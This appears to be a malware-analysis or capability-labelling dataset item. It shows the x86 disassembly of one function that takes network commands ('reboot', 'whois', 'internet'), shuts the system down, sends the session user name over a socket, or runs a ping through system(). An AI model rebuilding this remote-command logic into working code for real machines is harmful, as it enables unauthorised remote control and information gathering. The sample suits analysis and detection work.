Function at 0x4019a0
Capabilities:
Execute command
Get session user name
Send data
Send data on socket
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x409008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ecx + 0x14]
mov dword [ebp - 0x20c], edx
push ebx
push esi
push edi
mov edi, ecx
cmp eax, 0x10
jb 0x4019c8
mov edi, dword [ecx]
mov esi, dword [ecx + 0x10]
cmp esi, 6
jne 0x401a4e
mov ebx, esi
mov edx, str.reboot
sub ebx, 4
jb 0x4019f1
nop dword [eax]
mov eax, dword [edi]
cmp eax, dword [edx]
jne 0x4019f6
add edi, 4
add edx, 4
sub ebx, 4
jae 0x4019e0
cmp ebx, 0xfffffffc
je 0x401a2a
mov al, byte [edi]
cmp al, byte [edx]
jne 0x401a23
cmp ebx, 0xfffffffd
je 0x401a2a
mov al, byte [edi + 1]
cmp al, byte [edx + 1]
jne 0x401a23
cmp ebx, 0xfffffffe
je 0x401a2a
mov al, byte [edi + 2]
cmp al, byte [edx + 2]
jne 0x401a23
cmp ebx, 0xffffffff
je 0x401a2a
mov al, byte [edi + 3]
cmp al, byte [edx + 3]
je 0x401a2a
sbb eax, eax
or eax, 1
jmp 0x401a2c
xor eax, eax
test eax, eax
jne 0x401a4b
push 0x20003
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
push 0
push 0xd
push str.Rebooting..._n
jmp 0x401c00
mov eax, dword [ecx + 0x14]
mov edx, ecx
cmp eax, 0x10
jb 0x401a57
mov edx, dword [ecx]
cmp esi, 5
jne 0x401b67
mov ebx, esi
mov edi, str.whois
sub ebx, 4
jb 0x401a81
nop dword [eax]
mov eax, dword [edx]
cmp eax, dword [edi]
jne 0x401a86
add edx, 4
add edi, 4
sub ebx, 4
jae 0x401a70
cmp ebx, 0xfffffffc
je 0x401aba
mov al, byte [edx]
cmp al, byte [edi]
jne 0x401ab3
cmp ebx, 0xfffffffd
je 0x401aba
mov al, byte [edx + 1]
cmp al, byte [edi + 1]
jne 0x401ab3
cmp ebx, 0xfffffffe
je 0x401aba
mov al, byte [edx + 2]
cmp al, byte [edi + 2]
jne 0x401ab3
cmp ebx, 0xffffffff
je 0x401aba
mov al, byte [edx + 3]
cmp al, byte [edi + 3]
je 0x401aba
sbb eax, eax
or eax, 1
jmp 0x401abc
xor eax, eax
test eax, eax
jne 0x401b64
lea eax, [ebp - 0x208]
mov dword [ebp - 0x208], 0x100
push eax
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
push 0
test eax, eax
je 0x401b58
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0x204]
push 0
push 0
push 0
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call esi
mov edi, eax
push edi
call fcn.004044b6
add esp, 4
mov ebx, eax
lea eax, [ebp - 0x204]
push 0
push 0
push edi
push ebx
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call esi
push 0
lea eax, [edi - 1]
push eax
push ebx
push dword [ebp - 0x20c]
call dword [sym.imp.WS2_32.dll_send]
push ebx
call fcn.00404276
add esp, 4
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404268
mov esp, ebp
pop ebp
ret
push 0x1a
push str.Error_retrieving_username_n
jmp 0x401c00
mov eax, dword [ecx + 0x14]
cmp eax, 0x10
jb 0x401b6e
mov ecx, dword [ecx]
cmp esi, 8
jne 0x401bf7
mov edx, str.internet
sub esi, 4
jb 0x401b92
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x401b97
add ecx, 4
add edx, 4
sub esi, 4
jae 0x401b81
cmp esi, 0xfffffffc
je 0x401bcb
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x401bc4
cmp esi, 0xfffffffd
je 0x401bcb
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x401bc4
cmp esi, 0xfffffffe
je 0x401bcb
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x401bc4
cmp esi, 0xffffffff
je 0x401bcb
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x401bcb
sbb eax, eax
or eax, 1
jmp 0x401bcd
xor eax, eax
test eax, eax
jne 0x401bf7
push str.ping__n_1_google.com
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
push 0
test eax, eax
jne 0x401bee
push 0x16
push str.Internet_is_connected_n
jmp 0x401c00
push 0x1a
push str.Internet_is_not_connected_n
jmp 0x401c00
push 0
push 0x10
push str.Invalid_command_n
push dword [ebp - 0x20c]
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404268
mov esp, ebp
pop ebp
ret